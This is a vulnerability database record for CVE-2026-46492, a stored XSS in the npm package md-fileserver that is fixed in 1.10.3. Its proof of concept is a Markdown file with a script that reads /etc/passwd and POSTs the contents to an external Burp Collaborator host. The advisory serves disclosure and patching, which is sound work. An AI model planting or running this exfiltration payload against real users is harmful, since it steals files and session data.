{"id":"CVE-2026-46492","aliases":["CVE-2026-46492","GHSA-32q2-hhr5-6qvv"],"related":[],"kind":"vulnerability","state":"published","title":"md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)","summary":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.","source":"cvelist"},{"lang":"en","text":"### Summary\nA cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.\n\n### Vulnerable Components\nconfig.js → markdownIt: { html: true } (Lines 26–30)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33–58)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n<script>\n  fetch('/etc/passwd', { credentials: 'include' })\n    .then(r => r.text())\n    .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));\n</script>\n\n```\nOpen it on browser.\n<img width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" />\nView the HTTP request in Burp Collaborator.\n<img width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" />\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.","format":"markdown","source":"ghsa"},{"lang":"es","text":"md-fileserver permite la visualización local de archivos markdown en un navegador. Antes de la versión 1.10.3, existe una vulnerabilidad de cross-site scripting (XSS) en la lógica de renderizado de Markdown de la aplicación. Cuando se renderiza contenido Markdown proporcionado por el usuario, el HTML sin procesar incrustado -incluyendo etiquetas <script>- se procesa y se inyecta en la página resultante sin sanitización, permitiendo la ejecución arbitraria de JavaScript en el contexto del dominio afectado. Este problema ha sido parcheado en la versión 1.10.3.","source":"nvd"}],"published":"2026-05-21T17:57:32.000Z","modified":"2026-08-12T17:48:26.667Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-80","CWE-87"],"affected":[{"ranges":[{"version":"< 1.10.3","status":"affected"}],"vendor":"commenthol","product":"md-fileserver","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.10.3"}],"ecosystem":"npm","package":"md-fileserver","purl":"pkg:npm/md-fileserver","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.10.3"}],"vendor":"commenthol","product":"md-fileserver","cpe":"cpe:2.3:a:commenthol:md-fileserver:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46492","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/commenthol/md-fileserver","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-06-09T18:25:03.113Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-46492","url":"https://www.cve.org/CVERecord?id=CVE-2026-46492","licence":"CVE Terms of Use","modified":"2026-06-09T18:39:21.733Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-32q2-hhr5-6qvv","url":"https://github.com/advisories/GHSA-32q2-hhr5-6qvv","licence":"CC-BY-4.0","modified":"2026-06-09T18:45:30.920Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-46492","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46492","licence":"Public domain","modified":"2026-08-12T17:48:26.667Z"}],"updatedAt":"2026-11-25T22:59:24.198Z","epss":{"score":0.00232,"percentile":0.15033,"date":"2026-12-01T12:00:22.000Z"}}